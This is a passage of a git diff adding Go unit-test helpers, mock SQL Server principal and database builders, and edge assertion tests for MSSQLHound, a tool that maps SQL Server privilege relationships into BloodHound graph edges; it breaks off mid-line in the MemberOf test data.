"MSSQL_TakeOwnership", Description: "User without TAKE OWNERSHIP permission has no edge", SourcePattern: "TakeOwnershipTest_User_NoPermission@*", TargetPattern: "*", Negative: true, Reason: "No TAKE OWNERSHIP permission granted", Perspective: "both"}, +} + +// --------------------------------------------------------------------------- +// allTestCases aggregates all edge type test cases into a single slice. +// This is used for coverage analysis and integration test validation. +// --------------------------------------------------------------------------- + +var allTestCases = func() []edgeTestCase { + var all []edgeTestCase + all = append(all, addMemberTestCases...) + all = append(all, alterTestCases...) + all = append(all, alterAnyAppRoleTestCases...) + all = append(all, alterAnyDBRoleTestCases...) + all = append(all, alterAnyLoginTestCases...) + all = append(all, alterAnyServerRoleTestCases...) + all = append(all, changeOwnerTestCases...) + all = append(all, changePasswordTestCases...) + all = append(all, coerceAndRelayTestCases...) + all = append(all, connectTestCases...) + all = append(all, connectAnyDatabaseTestCases...) + all = append(all, containsTestCases...) + all = append(all, controlTestCases...) + all = append(all, controlDBTestCases...) + all = append(all, controlServerTestCases...) + all = append(all, executeAsTestCases...) + all = append(all, executeAsOwnerTestCases...) + all = append(all, executeOnHostTestCases...) + all = append(all, grantAnyDBPermTestCases...) + all = append(all, grantAnyPermTestCases...) + all = append(all, hasDBScopedCredTestCases...) + all = append(all, hasLoginTestCases...) + all = append(all, hasMappedCredTestCases...) + all = append(all, hasProxyCredTestCases...) + all = append(all, impersonateTestCases...) + all = append(all, impersonateAnyLoginTestCases...) + all = append(all, isMappedToTestCases...) + all = append(all, getTGSTestCases...) + all = append(all, getAdminTGSTestCases...) + all = append(all, linkedAsAdminTestCases...) + all = append(all, linkedToTestCases...) + all = append(all, memberOfTestCases...) + all = append(all, ownsTestCases...) + all = append(all, serviceAccountForTestCases...) + all = append(all, takeOwnershipTestCases...) + return all +}() + +// testCasesByEdgeType returns a map of edge type -> test cases. +func testCasesByEdgeType() map[string][]edgeTestCase { + result := make(map[string][]edgeTestCase) + for _, tc := range allTestCases { + result[tc.EdgeType] = append(result[tc.EdgeType], tc) + } + return result +} diff --git a/go/internal/collector/edge_test_helpers_test.go b/go/internal/collector/edge_test_helpers_test.go new file mode 100644 index 0000000..71ca8ac --- /dev/null +++ b/go/internal/collector/edge_test_helpers_test.go @@ -0,0 +1,874 @@ +package collector + +import ( + "fmt" + "os" + "path/filepath" + "strings" + "testing" + "time" + + "github.com/SpecterOps/MSSQLHound/internal/bloodhound" + "github.com/SpecterOps/MSSQLHound/internal/types" +) + +// --------------------------------------------------------------------------- +// Test case definitions +// --------------------------------------------------------------------------- + +// edgeTestCase describes a single expected (or unexpected) edge in the output. +// It mirrors the PowerShell expectedEdges hashtable structure. +type edgeTestCase struct { + EdgeType string // BloodHound edge kind (e.g. "MSSQL_AddMember") + Description string // Human-readable description of what is being tested + SourcePattern string // Wildcard or exact-match pattern for edge start value + TargetPattern string // Wildcard or exact-match pattern for edge end value + Perspective string // "offensive", "defensive", or "both" + Negative bool // If true, this edge must NOT exist + Reason string // Explanation for negative tests + EdgeProperties map[string]interface{} // Property assertions (e.g. traversable) + ExpectedCount int // If >0, assert exactly N matching edges +} + +// --------------------------------------------------------------------------- +// Pattern matching (port of PS1 Test-EdgePattern) +// --------------------------------------------------------------------------- + +// matchPattern implements PowerShell -like glob semantics. +// It supports '*' as a multi-character wildcard and '?' as a single-character wildcard. +// Matching is case-insensitive. +func matchPattern(value, pattern string) bool { + v := strings.ToUpper(value) + p := strings.ToUpper(pattern) + return globMatch(v, p) +} + +// globMatch is a recursive glob matcher supporting * and ? wildcards. +func globMatch(str, pattern string) bool { + for len(pattern) > 0 { + switch pattern[0] { + case '*': + // Skip consecutive stars + for len(pattern) > 0 && pattern[0] == '*' { + pattern = pattern[1:] + } + if len(pattern) == 0 { + return true + } + // Try matching the rest of the pattern at each position + for i := 0; i <= len(str); i++ { + if globMatch(str[i:], pattern) { + return true + } + } + return false + case '?': + if len(str) == 0 { + return false + } + str = str[1:] + pattern = pattern[1:] + default: + if len(str) == 0 || str[0] != pattern[0] { + return false + } + str = str[1:] + pattern = pattern[1:] + } + } + return len(str) == 0 +} + +// matchEdgeEndpoint implements the PS1 Test-EdgePattern source/target matching logic: +// - If the pattern contains a wildcard (* or ?), use glob matching. +// - Otherwise, if the pattern contains '@', extract the name part before '@' +// from both pattern and actual value, and compare those. +// - Otherwise, do an exact case-insensitive comparison. +func matchEdgeEndpoint(actual, pattern string) bool { + hasWildcard := strings.ContainsAny(pattern, "*?") + + if hasWildcard { + return matchPattern(actual, pattern) + } + + if strings.Contains(pattern, "@") { + patternName := strings.SplitN(pattern, "@", 2)[0] + actualName := actual + if idx := strings.Index(actual, "@"); idx >= 0 { + actualName = actual[:idx] + } + return strings.EqualFold(actualName, patternName) + } + + return strings.EqualFold(actual, pattern) +} + +// --------------------------------------------------------------------------- +// Edge finding and assertion helpers +// --------------------------------------------------------------------------- + +// findEdges returns all edges matching the given kind and source/target patterns. +func findEdges(edges []bloodhound.Edge, kind, srcPattern, tgtPattern string) []bloodhound.Edge { + var matches []bloodhound.Edge + for _, e := range edges { + if e.Kind != kind { + continue + } + if !matchEdgeEndpoint(e.Start.Value, srcPattern) { + continue + } + if !matchEdgeEndpoint(e.End.Value, tgtPattern) { + continue + } + matches = append(matches, e) + } + return matches +} + +// assertEdgeExists asserts that at least one edge matches. +func assertEdgeExists(t *testing.T, edges []bloodhound.Edge, kind, srcPattern, tgtPattern, desc string) { + t.Helper() + matches := findEdges(edges, kind, srcPattern, tgtPattern) + if len(matches) == 0 { + t.Errorf("MISSING edge: %s\n Kind: %s\n Source: %s\n Target: %s", desc, kind, srcPattern, tgtPattern) + } +} + +// assertEdgeNotExists asserts that no edges match. +func assertEdgeNotExists(t *testing.T, edges []bloodhound.Edge, kind, srcPattern, tgtPattern, desc string) { + t.Helper() + matches := findEdges(edges, kind, srcPattern, tgtPattern) + if len(matches) > 0 { + t.Errorf("UNEXPECTED edge: %s\n Kind: %s\n Source: %s\n Target: %s\n Found %d match(es):", + desc, kind, srcPattern, tgtPattern, len(matches)) + for _, m := range matches { + t.Errorf(" %s -> %s", m.Start.Value, m.End.Value) + } + } +} + +// assertEdgeCount asserts that exactly count edges match. +func assertEdgeCount(t *testing.T, edges []bloodhound.Edge, kind, srcPattern, tgtPattern string, count int, desc string) { + t.Helper() + matches := findEdges(edges, kind, srcPattern, tgtPattern) + if len(matches) != count { + t.Errorf("WRONG COUNT for edge: %s\n Kind: %s\n Source: %s\n Target: %s\n Expected: %d, Got: %d", + desc, kind, srcPattern, tgtPattern, count, len(matches)) + } +} + +// assertEdgeProperty asserts that at least one matching edge has the given property value. +func assertEdgeProperty(t *testing.T, edges []bloodhound.Edge, kind, srcPattern, tgtPattern, propName string, propValue interface{}, desc string) { + t.Helper() + matches := findEdges(edges, kind, srcPattern, tgtPattern) + if len(matches) == 0 { + t.Errorf("MISSING edge (property check): %s\n Kind: %s\n Source: %s\n Target: %s", + desc, kind, srcPattern, tgtPattern) + return + } + for _, m := range matches { + if val, ok := m.Properties[propName]; ok && val == propValue { + return + } + } + t.Errorf("PROPERTY MISMATCH for edge: %s\n Kind: %s\n Source: %s\n Target: %s\n Property: %s expected=%v", + desc, kind, srcPattern, tgtPattern, propName, propValue) +} + +// --------------------------------------------------------------------------- +// Test case runner +// --------------------------------------------------------------------------- + +// runSingleTestCase dispatches a single test case against the edges. +func runSingleTestCase(t *testing.T, edges []bloodhound.Edge, tc edgeTestCase) { + t.Helper() + + if tc.Negative { + assertEdgeNotExists(t, edges, tc.EdgeType, tc.SourcePattern, tc.TargetPattern, tc.Description) + return + } + + if tc.ExpectedCount > 0 { + assertEdgeCount(t, edges, tc.EdgeType, tc.SourcePattern, tc.TargetPattern, tc.ExpectedCount, tc.Description) + return + } + + assertEdgeExists(t, edges, tc.EdgeType, tc.SourcePattern, tc.TargetPattern, tc.Description) + + // Check additional property assertions + for propName, propValue := range tc.EdgeProperties { + assertEdgeProperty(t, edges, tc.EdgeType, tc.SourcePattern, tc.TargetPattern, propName, propValue, tc.Description) + } +} + +// testCaseAppliesToPerspective returns true if the test case applies to the given perspective. +func testCaseAppliesToPerspective(tc edgeTestCase, perspective string) bool { + switch tc.Perspective { + case "both", "": + return true + case "offensive": + return perspective == "offensive" + case "defensive": + return perspective == "defensive" + } + return false +} + +// --------------------------------------------------------------------------- +// Edge creation test runner +// --------------------------------------------------------------------------- + +// edgeTestResult holds the nodes and edges produced by running edge creation. +type edgeTestResult struct { + Nodes []bloodhound.Node + Edges []bloodhound.Edge +} + +// runEdgeCreation builds a collector, writes nodes for the given ServerInfo, +// calls createEdges (which internally calls createFixedRoleEdges), and reads +// back the resulting nodes and edges. +func runEdgeCreation(t *testing.T, serverInfo *types.ServerInfo, includeNontraversable bool) edgeTestResult { + t.Helper() + + tmpDir, err := os.MkdirTemp("", "mssqlhound-edge-test") + if err != nil { + t.Fatalf("Failed to create temp dir: %v", err) + } + t.Cleanup(func() { os.RemoveAll(tmpDir) }) + + config := &Config{ + TempDir: tmpDir, + Domain: "domain.com", + IncludeNontraversableEdges: includeNontraversable, + } + c := New(config) + + outputPath := filepath.Join(tmpDir, "test-output.json") + writer, err := bloodhound.NewStreamingWriter(outputPath) + if err != nil { + t.Fatalf("Failed to create writer: %v", err) + } + + // Write server node + serverNode := c.createServerNode(serverInfo) + if err := writer.WriteNode(serverNode); err != nil { + t.Fatalf("Failed to write server node: %v", err) + } + + // Write database nodes and their principal nodes + for i := range serverInfo.Databases { + db := &serverInfo.Databases[i] + dbNode := c.createDatabaseNode(db, serverInfo) + if err := writer.WriteNode(dbNode); err != nil { + t.Fatalf("Failed to write database node: %v", err) + } + for j := range db.DatabasePrincipals { + principalNode := c.createDatabasePrincipalNode(&db.DatabasePrincipals[j], db, serverInfo) + if err := writer.WriteNode(principalNode); err != nil { + t.Fatalf("Failed to write database principal node: %v", err) + } + } + } + + // Write server principal nodes + for i := range serverInfo.ServerPrincipals { + principalNode := c.createServerPrincipalNode(&serverInfo.ServerPrincipals[i], serverInfo, nil) + if err := writer.WriteNode(principalNode); err != nil { + t.Fatalf("Failed to write server principal node: %v", err) + } + } + + // Create edges (this internally calls createFixedRoleEdges) + if err := c.createEdges(writer, serverInfo); err != nil { + t.Fatalf("Failed to create edges: %v", err) + } + + if err := writer.Close(); err != nil { + t.Fatalf("Failed to close writer: %v", err) + } + + nodes, edges, err := bloodhound.ReadFromFile(outputPath) + if err != nil { + t.Fatalf("Failed to read output file: %v", err) + } + + return edgeTestResult{Nodes: nodes, Edges: edges} +} + +// --------------------------------------------------------------------------- +// Mock data builder utilities +// --------------------------------------------------------------------------- + +const ( + testDomainSID = "S-1-5-21-1000000000-2000000000-3000000000" + testServerSID = testDomainSID + "-1001" + testServerOID = testServerSID + ":1433" + testSQLName = "edgetest.domain.com:1433" + testHostname = "edgetest" +) + +// nextSID is a simple counter used to generate unique SIDs in mock data. +var nextSID = 10000 + +func uniqueSID() string { + nextSID++ + return fmt.Sprintf("%s-%d", testDomainSID, nextSID) +} + +// nextPrincipalID is a counter for generating unique principal IDs. +var nextPrincipalID = 1000 + +func uniquePrincipalID() int { + nextPrincipalID++ + return nextPrincipalID +} + +// nextDBID is a counter for generating unique database IDs. +var nextDBID = 100 + +func uniqueDBID() int { + nextDBID++ + return nextDBID +} + +// baseServerInfo creates a minimal ServerInfo with identity fields and the +// standard fixed server roles: sysadmin, securityadmin, public, processadmin. +func baseServerInfo() *types.ServerInfo { + return &types.ServerInfo{ + ObjectIdentifier: testServerOID, + Hostname: testHostname, + ServerName: strings.ToUpper(testHostname), + SQLServerName: testSQLName, + InstanceName: "MSSQLSERVER", + Port: 1433, + Version: "Microsoft SQL Server 2019", + VersionNumber: "15.0.2000.5", + IsMixedModeAuth: true, + ForceEncryption: "No", + ExtendedProtection: "Off", + ComputerSID: testServerSID, + DomainSID: testDomainSID, + FQDN: "edgetest.domain.com", + ServerPrincipals: []types.ServerPrincipal{ + fixedServerRole("public", 2), + fixedServerRole("sysadmin", 3), + fixedServerRole("securityadmin", 4), + fixedServerRole("processadmin", 8), + }, + } +} + +func fixedServerRole(name string, id int) types.ServerPrincipal { + return types.ServerPrincipal{ + ObjectIdentifier: name + "@" + testServerOID, + PrincipalID: id, + Name: name, + TypeDescription: "SERVER_ROLE", + IsFixedRole: true, + SQLServerName: testSQLName, + } +} + +// --------------------------------------------------------------------------- +// Server principal builders +// --------------------------------------------------------------------------- + +type serverLoginOption func(*types.ServerPrincipal) + +func withDisabled() serverLoginOption { + return func(sp *types.ServerPrincipal) { + sp.IsDisabled = true + } +} + +func withMemberOf(memberships ...types.RoleMembership) serverLoginOption { + return func(sp *types.ServerPrincipal) { + sp.MemberOf = append(sp.MemberOf, memberships...) + } +} + +func withPermissions(perms ...types.Permission) serverLoginOption { + return func(sp *types.ServerPrincipal) { + sp.Permissions = append(sp.Permissions, perms...) + } +} + +func withMappedCredential(cred *types.Credential) serverLoginOption { + return func(sp *types.ServerPrincipal) { + sp.MappedCredential = cred + } +} + +func withOwner(ownerOID string) serverLoginOption { + return func(sp *types.ServerPrincipal) { + sp.OwningObjectIdentifier = ownerOID + } +} + +func withMembers(members ...string) serverLoginOption { + return func(sp *types.ServerPrincipal) { + sp.Members = append(sp.Members, members...) + } +} + +func withDatabaseUsers(dbUsers ...string) serverLoginOption { + return func(sp *types.ServerPrincipal) { + sp.DatabaseUsers = append(sp.DatabaseUsers, dbUsers...) + } +} + +func withSecurityIdentifier(sid string) serverLoginOption { + return func(sp *types.ServerPrincipal) { + sp.SecurityIdentifier = sid + } +} + +// addSQLLogin adds a SQL_LOGIN server principal to the ServerInfo. +func addSQLLogin(info *types.ServerInfo, name string, opts ...serverLoginOption) *types.ServerPrincipal { + sp := types.ServerPrincipal{ + ObjectIdentifier: name + "@" + info.ObjectIdentifier, + PrincipalID: uniquePrincipalID(), + Name: name, + TypeDescription: "SQL_LOGIN", + IsActiveDirectoryPrincipal: false, + SQLServerName: info.SQLServerName, + CreateDate: time.Now(), + ModifyDate: time.Now(), + Permissions: []types.Permission{ + {Permission: "CONNECT SQL", State: "GRANT", ClassDesc: "SERVER"}, + }, + } + for _, opt := range opts { + opt(&sp) + } + info.ServerPrincipals = append(info.ServerPrincipals, sp) + return &info.ServerPrincipals[len(info.ServerPrincipals)-1] +} + +// addWindowsLogin adds a WINDOWS_LOGIN server principal to the ServerInfo. +func addWindowsLogin(info *types.ServerInfo, name, sid string, opts ...serverLoginOption) *types.ServerPrincipal { + sp := types.ServerPrincipal{ + ObjectIdentifier: name + "@" + info.ObjectIdentifier, + PrincipalID: uniquePrincipalID(), + Name: name, + TypeDescription: "WINDOWS_LOGIN", + IsActiveDirectoryPrincipal: true, + SecurityIdentifier: sid, + SQLServerName: info.SQLServerName, + CreateDate: time.Now(), + ModifyDate: time.Now(), + Permissions: []types.Permission{ + {Permission: "CONNECT SQL", State: "GRANT", ClassDesc: "SERVER"}, + }, + } + for _, opt := range opts { + opt(&sp) + } + info.ServerPrincipals = append(info.ServerPrincipals, sp) + return &info.ServerPrincipals[len(info.ServerPrincipals)-1] +} + +// addWindowsGroup adds a WINDOWS_GROUP server principal to the ServerInfo. +func addWindowsGroup(info *types.ServerInfo, name, sid string, opts ...serverLoginOption) *types.ServerPrincipal { + sp := types.ServerPrincipal{ + ObjectIdentifier: name + "@" + info.ObjectIdentifier, + PrincipalID: uniquePrincipalID(), + Name: name, + TypeDescription: "WINDOWS_GROUP", + IsActiveDirectoryPrincipal: true, + SecurityIdentifier: sid, + SQLServerName: info.SQLServerName, + CreateDate: time.Now(), + ModifyDate: time.Now(), + Permissions: []types.Permission{ + {Permission: "CONNECT SQL", State: "GRANT", ClassDesc: "SERVER"}, + }, + } + for _, opt := range opts { + opt(&sp) + } + info.ServerPrincipals = append(info.ServerPrincipals, sp) + return &info.ServerPrincipals[len(info.ServerPrincipals)-1] +} + +// addServerRole adds a user-defined SERVER_ROLE to the ServerInfo. +func addServerRole(info *types.ServerInfo, name string, opts ...serverLoginOption) *types.ServerPrincipal { + sp := types.ServerPrincipal{ + ObjectIdentifier: name + "@" + info.ObjectIdentifier, + PrincipalID: uniquePrincipalID(), + Name: name, + TypeDescription: "SERVER_ROLE", + IsFixedRole: false, + SQLServerName: info.SQLServerName, + CreateDate: time.Now(), + ModifyDate: time.Now(), + } + for _, opt := range opts { + opt(&sp) + } + info.ServerPrincipals = append(info.ServerPrincipals, sp) + return &info.ServerPrincipals[len(info.ServerPrincipals)-1] +} + +// --------------------------------------------------------------------------- +// Database builders +// --------------------------------------------------------------------------- + +type databaseOption func(*types.Database) + +func withTrustworthy() databaseOption { + return func(db *types.Database) { + db.IsTrustworthy = true + } +} + +func withDBOwner(ownerLogin, ownerOID string) databaseOption { + return func(db *types.Database) { + db.OwnerLoginName = ownerLogin + db.OwnerObjectIdentifier = ownerOID + } +} + +// addDatabase adds a database to the ServerInfo. +func addDatabase(info *types.ServerInfo, name string, opts ...databaseOption) *types.Database { + db := types.Database{ + ObjectIdentifier: info.ObjectIdentifier + "\\" + name, + DatabaseID: uniqueDBID(), + Name: name, + SQLServerName: info.SQLServerName, + CreateDate: time.Now(), + } + for _, opt := range opts { + opt(&db) + } + info.Databases = append(info.Databases, db) + return &info.Databases[len(info.Databases)-1] +} + +// --------------------------------------------------------------------------- +// Database principal builders +// --------------------------------------------------------------------------- + +type dbPrincipalOption func(*types.DatabasePrincipal) + +func withDBPrincipalPermissions(perms ...types.Permission) dbPrincipalOption { + return func(dp *types.DatabasePrincipal) { + dp.Permissions = append(dp.Permissions, perms...) + } +} + +func withDBPrincipalMemberOf(memberships ...types.RoleMembership) dbPrincipalOption { + return func(dp *types.DatabasePrincipal) { + dp.MemberOf = append(dp.MemberOf, memberships...) + } +} + +func withDBPrincipalMembers(members ...string) dbPrincipalOption { + return func(dp *types.DatabasePrincipal) { + dp.Members = append(dp.Members, members...) + } +} + +func withServerLogin(loginOID, loginName string, loginPID int) dbPrincipalOption { + return func(dp *types.DatabasePrincipal) { + dp.ServerLogin = &types.ServerLoginRef{ + ObjectIdentifier: loginOID, + Name: loginName, + PrincipalID: loginPID, + } + } +} + +func withDBPrincipalOwner(ownerOID string) dbPrincipalOption { + return func(dp *types.DatabasePrincipal) { + dp.OwningObjectIdentifier = ownerOID + } +} + +// addDatabaseUser adds a SQL_USER to the given database. +func addDatabaseUser(db *types.Database, name string, opts ...dbPrincipalOption) *types.DatabasePrincipal { + dp := types.DatabasePrincipal{ + ObjectIdentifier: name + "@" + db.ObjectIdentifier, + PrincipalID: uniquePrincipalID(), + Name: name, + TypeDescription: "SQL_USER", + DatabaseName: db.Name, + SQLServerName: db.SQLServerName, + CreateDate: time.Now(), + ModifyDate: time.Now(), + } + for _, opt := range opts { + opt(&dp) + } + db.DatabasePrincipals = append(db.DatabasePrincipals, dp) + return &db.DatabasePrincipals[len(db.DatabasePrincipals)-1] +} + +// addWindowsUser adds a WINDOWS_USER to the given database. +func addWindowsUser(db *types.Database, name string, opts ...dbPrincipalOption) *types.DatabasePrincipal { + dp := types.DatabasePrincipal{ + ObjectIdentifier: name + "@" + db.ObjectIdentifier, + PrincipalID: uniquePrincipalID(), + Name: name, + TypeDescription: "WINDOWS_USER", + DatabaseName: db.Name, + SQLServerName: db.SQLServerName, + CreateDate: time.Now(), + ModifyDate: time.Now(), + } + for _, opt := range opts { + opt(&dp) + } + db.DatabasePrincipals = append(db.DatabasePrincipals, dp) + return &db.DatabasePrincipals[len(db.DatabasePrincipals)-1] +} + +// addDatabaseRole adds a DATABASE_ROLE to the given database. +func addDatabaseRole(db *types.Database, name string, isFixed bool, opts ...dbPrincipalOption) *types.DatabasePrincipal { + dp := types.DatabasePrincipal{ + ObjectIdentifier: name + "@" + db.ObjectIdentifier, + PrincipalID: uniquePrincipalID(), + Name: name, + TypeDescription: "DATABASE_ROLE", + IsFixedRole: isFixed, + DatabaseName: db.Name, + SQLServerName: db.SQLServerName, + CreateDate: time.Now(), + ModifyDate: time.Now(), + } + for _, opt := range opts { + opt(&dp) + } + db.DatabasePrincipals = append(db.DatabasePrincipals, dp) + return &db.DatabasePrincipals[len(db.DatabasePrincipals)-1] +} + +// addAppRole adds an APPLICATION_ROLE to the given database. +func addAppRole(db *types.Database, name string, opts ...dbPrincipalOption) *types.DatabasePrincipal { + dp := types.DatabasePrincipal{ + ObjectIdentifier: name + "@" + db.ObjectIdentifier, + PrincipalID: uniquePrincipalID(), + Name: name, + TypeDescription: "APPLICATION_ROLE", + DatabaseName: db.Name, + SQLServerName: db.SQLServerName, + CreateDate: time.Now(), + ModifyDate: time.Now(), + } + for _, opt := range opts { + opt(&dp) + } + db.DatabasePrincipals = append(db.DatabasePrincipals, dp) + return &db.DatabasePrincipals[len(db.DatabasePrincipals)-1] +} + +// --------------------------------------------------------------------------- +// Linked server builders +// --------------------------------------------------------------------------- + +type linkedServerOption func(*types.LinkedServer) + +func withResolvedTarget(oid string) linkedServerOption { + return func(ls *types.LinkedServer) { + ls.ResolvedObjectIdentifier = oid + } +} + +func withRemoteSysadmin() linkedServerOption { + return func(ls *types.LinkedServer) { + ls.RemoteIsSysadmin = true + } +} + +func withRemoteMixedMode() linkedServerOption { + return func(ls *types.LinkedServer) { + ls.RemoteIsMixedMode = true + } +} + +func withRemoteLogin(login string) linkedServerOption { + return func(ls *types.LinkedServer) { + ls.RemoteLogin = login + } +} + +func withLocalLogin(login string) linkedServerOption { + return func(ls *types.LinkedServer) { + ls.LocalLogin = login + } +} + +func withSelfMapping() linkedServerOption { + return func(ls *types.LinkedServer) { + ls.IsSelfMapping = true + } +} + +func withUsesImpersonation() linkedServerOption { + return func(ls *types.LinkedServer) { + ls.UsesImpersonation = true + } +} + +// addLinkedServer adds a linked server entry to the ServerInfo. +func addLinkedServer(info *types.ServerInfo, name, dataSource string, opts ...linkedServerOption) *types.LinkedServer { + ls := types.LinkedServer{ + ServerID: uniquePrincipalID(), + Name: name, + Product: "SQL Server", + Provider: "SQLNCLI11", + DataSource: dataSource, + IsLinkedServer: true, + IsRPCOutEnabled: true, + IsDataAccessEnabled: true, + SourceServer: info.Hostname, + } + for _, opt := range opts { + opt(&ls) + } + info.LinkedServers = append(info.LinkedServers, ls) + return &info.LinkedServers[len(info.LinkedServers)-1] +} + +// --------------------------------------------------------------------------- +// Credential builders +// --------------------------------------------------------------------------- + +// addCredential adds a server-level credential to the ServerInfo. +func addCredential(info *types.ServerInfo, name, identity, resolvedSID string) *types.Credential { + c := types.Credential{ + CredentialID: uniquePrincipalID(), + Name: name, + CredentialIdentity: identity, + ResolvedSID: resolvedSID, + CreateDate: time.Now(), + ModifyDate: time.Now(), + } + info.Credentials = append(info.Credentials, c) + return &info.Credentials[len(info.Credentials)-1] +} + +// addDBScopedCredential adds a database-scoped credential to a database. +func addDBScopedCredential(db *types.Database, name, identity, resolvedSID string) *types.DBScopedCredential { + c := types.DBScopedCredential{ + CredentialID: uniquePrincipalID(), + Name: name, + CredentialIdentity: identity, + ResolvedSID: resolvedSID, + CreateDate: time.Now(), + ModifyDate: time.Now(), + } + db.DBScopedCredentials = append(db.DBScopedCredentials, c) + return &db.DBScopedCredentials[len(db.DBScopedCredentials)-1] +} + +// addProxyAccount adds a proxy account to the ServerInfo. +func addProxyAccount(info *types.ServerInfo, name, credIdentity, resolvedSID string, enabled bool, subsystems, logins []string) *types.ProxyAccount { + p := types.ProxyAccount{ + ProxyID: uniquePrincipalID(), + Name: name, + CredentialID: uniquePrincipalID(), + CredentialIdentity: credIdentity, + ResolvedSID: resolvedSID, + Enabled: enabled, + Subsystems: subsystems, + Logins: logins, + } + info.ProxyAccounts = append(info.ProxyAccounts, p) + return &info.ProxyAccounts[len(info.ProxyAccounts)-1] +} + +// addServiceAccount adds a service account to the ServerInfo. +func addServiceAccount(info *types.ServerInfo, name, sid, serviceName, serviceType string) *types.ServiceAccount { + sa := types.ServiceAccount{ + ObjectIdentifier: sid, + Name: name, + ServiceName: serviceName, + ServiceType: serviceType, + SID: sid, + } + info.ServiceAccounts = append(info.ServiceAccounts, sa) + return &info.ServiceAccounts[len(info.ServiceAccounts)-1] +} + +// --------------------------------------------------------------------------- +// Permission builder helpers +// --------------------------------------------------------------------------- + +// perm creates a Permission with common defaults. +func perm(permission, state, classDesc string) types.Permission { + return types.Permission{ + Permission: permission, + State: state, + ClassDesc: classDesc, + } +} + +// targetPerm creates a Permission targeting a specific principal. +// The targetPrincipalID is required because the edge creation logic uses principalMap[perm.TargetPrincipalID] +// to look up the target and determine its type (login vs role, user vs role vs app role). +func targetPerm(permission, state, classDesc string, targetPrincipalID int, targetOID, targetName string) types.Permission { + return types.Permission{ + Permission: permission, + State: state, + ClassDesc: classDesc, + TargetPrincipalID: targetPrincipalID, + TargetObjectIdentifier: targetOID, + TargetName: targetName, + } +} + +// roleMembership creates a RoleMembership reference. +func roleMembership(name string, serverOID string) types.RoleMembership { + return types.RoleMembership{ + ObjectIdentifier: name + "@" + serverOID, + Name: name, + } +} + +// --------------------------------------------------------------------------- +// Helper to run test cases for a specific perspective +// --------------------------------------------------------------------------- + +// runTestCasesForPerspective runs all applicable test cases for a given perspective. +func runTestCasesForPerspective(t *testing.T, edges []bloodhound.Edge, testCases []edgeTestCase, perspective string) { + t.Helper() + for _, tc := range testCases { + if !testCaseAppliesToPerspective(tc, perspective) { + continue + } + t.Run(tc.Description, func(t *testing.T) { + runSingleTestCase(t, edges, tc) + }) + } +} + +// --------------------------------------------------------------------------- +// Debug helpers +// --------------------------------------------------------------------------- + +// dumpEdges logs all edges grouped by kind (useful for debugging test failures). +func dumpEdges(t *testing.T, edges []bloodhound.Edge) { + t.Helper() + byKind := make(map[string][]bloodhound.Edge) + for _, e := range edges { + byKind[e.Kind] = append(byKind[e.Kind], e) + } + for kind, kindEdges := range byKind { + t.Logf(" %s (%d edges):", kind, len(kindEdges)) + for _, e := range kindEdges { + t.Logf(" %s -> %s", e.Start.Value, e.End.Value) + } + } +} + +// dumpEdgesOfKind logs all edges of a specific kind. +func dumpEdgesOfKind(t *testing.T, edges []bloodhound.Edge, kind string) { + t.Helper() + t.Logf("Edges of kind %s:", kind) + for _, e := range edges { + if e.Kind == kind { + t.Logf(" %s -> %s", e.Start.Value, e.End.Value) + } + } +} diff --git a/go/internal/collector/edge_unit_test.go b/go/internal/collector/edge_unit_test.go new file mode 100644 index 0000000..7e619dc --- /dev/null +++ b/go/internal/collector/edge_unit_test.go @@ -0,0 +1,1743 @@ +package collector + +import ( + "fmt" + "testing" + + "github.com/SpecterOps/MSSQLHound/internal/bloodhound" + "github.com/SpecterOps/MSSQLHound/internal/types" +) + +// ============================================================================= +// CONTAINS +// ============================================================================= + +func buildContainsTestData() *types.ServerInfo { + info := baseServerInfo() + + addSQLLogin(info, "ContainsTest_Login1") + addSQLLogin(info, "ContainsTest_Login2") + addServerRole(info, "ContainsTest_ServerRole1") + addServerRole(info, "ContainsTest_ServerRole2") + + db := addDatabase(info, "EdgeTest_Contains") + addDatabaseUser(db, "ContainsTest_User1") + addDatabaseUser(db, "ContainsTest_User2") + addDatabaseRole(db, "ContainsTest_DbRole1", false) + addDatabaseRole(db, "ContainsTest_DbRole2", false) + addAppRole(db, "ContainsTest_AppRole1") + addAppRole(db, "ContainsTest_AppRole2") + + return info +} + +func TestContainsEdges(t *testing.T) { + info := buildContainsTestData() + result := runEdgeCreation(t, info, true) + runTestCasesForPerspective(t, result.Edges, containsTestCases, "offensive") +} + +// ============================================================================= +// MEMBEROF +// ============================================================================= + +func buildMemberOfTestData() *types.ServerInfo { + info := baseServerInfo() + + // Server-level roles for nesting + sr1 := addServerRole(info, "MemberOfTest_ServerRole1") + sr2 := addServerRole(info, "MemberOfTest_ServerRole2") + + // SQL login member of processadmin + addSQLLogin(info, "MemberOfTest_Login1", + withMemberOf(roleMembership("processadmin", testServerOID))) + + // SQL login member of custom server role + addSQLLogin(info, "MemberOfTest_Login2", + withMemberOf(roleMembership("MemberOfTest_ServerRole1", testServerOID))) + + // Windows login member of diskadmin + addWindowsLogin(info, "DOMAIN\\EdgeTestDomainUser1", uniqueSID(), + withMemberOf(roleMembership("diskadmin", testServerOID))) + + // Server role nesting: ServerRole1 -> ServerRole2 -> securityadmin + _ = sr1 + // Update sr1 to be member of sr2 + for i := range info.ServerPrincipals { + if info.ServerPrincipals[i].Name == "MemberOfTest_ServerRole1" { + info.ServerPrincipals[i].MemberOf = append(info.ServerPrincipals[i].MemberOf, + roleMembership("MemberOfTest_ServerRole2", testServerOID)) + } + } + _ = sr2 + for i := range info.ServerPrincipals { + if info.ServerPrincipals[i].Name == "MemberOfTest_ServerRole2" { + info.ServerPrincipals[i].MemberOf = append(info.ServerPrincipals[i].MemberOf, + roleMembership("securityadmin", testServerOID)) + } + } + + // Add fixed role "diskadmin" to server principals since MemberOf edge from + // Windows login -> diskadmin references it + info.ServerPrincipals = append(info.ServerPrincipals, types.ServerPrincipal{ + ObjectIdentifier: "diskadmin@" + testServerOID, + PrincipalID: uniquePrincipalID(), + Name: "diskadmin", + TypeDescription: "SERVER_ROLE", + IsFixedRole: true, + SQLServerName: testSQLName, + }) + + // Database-level memberships + db := addDatabase(info, "EdgeTest_MemberOf") + dbRole1 := addDatabaseRole(db, "MemberOfTest_DbRole1", false) + addDatabaseRole(db, "MemberOfTest_DbRole2", false) + addDatabaseRole(db, "db_datareader", true) + addDatabaseRole(db, "db_datawriter", true) + addDatabaseRole(db, "db_owner", true) + + // Database user member of db_datareader + addDatabaseUser(db, "MemberOfTest_User1", + withDBPrincipalMemberOf(roleMembership("db_datareader", db.ObjectIdentifier))) + + // Database user member of custom database role + addDatabaseUser(db, "MemberOfTest_User2", + withDBPrincipalMemberOf(roleMembership("MemberOfTest_DbRole1", 